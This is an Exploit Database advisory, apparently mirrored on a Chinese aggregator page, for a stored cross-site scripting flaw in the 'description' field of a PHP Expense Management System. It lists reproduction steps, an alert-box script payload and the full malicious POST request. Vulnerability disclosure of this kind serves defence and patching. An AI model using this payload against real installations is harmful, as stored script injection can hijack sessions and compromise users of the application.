Expense Management System – ‘description’ Stored Cross Site Scripting

• Exploit Database
• 15 阅读

• 作者： Nikhil Kumar
  日期： 2020-12-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49146/

• # Exploit Title: Expense Management System - 'description' Stored Cross Site Scripting
  # Date: 02/12/2020
  # Exploit Author: Nikhil Kumar
  # Vendor Homepage: http://egavilanmedia.com/
  # Software Link: http://egavilanmedia.com/expense-management-system/
  # Tested On: Ubuntu
  
  Vunerable Parameter: "description="
  
  Steps to Reproduce:
  
  1. Open the index.php page using following url 
  
  http://localhost/Expense-Management-System/index.php
  
  click on Add Expense
  
  2. Put a payload on "description=" parameter
  
  Payload :- test"><script>alert("XSS")</script>
  
  Malicious Request::
  
  POST /Expense-Management-System/expense_action.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
  Accept: application/json, text/javascript, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 140
  Origin: http://localhost
  DNT: 1
  Connection: close
  Referer: http://localhost/Expense-Management-System/
  Cookie: PHPSESSID=45f122ec98900409467ac74f6113ff4a
  
  description=test%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&amount=1234&date=2020%2F11%2F17&expense_id=&action=Add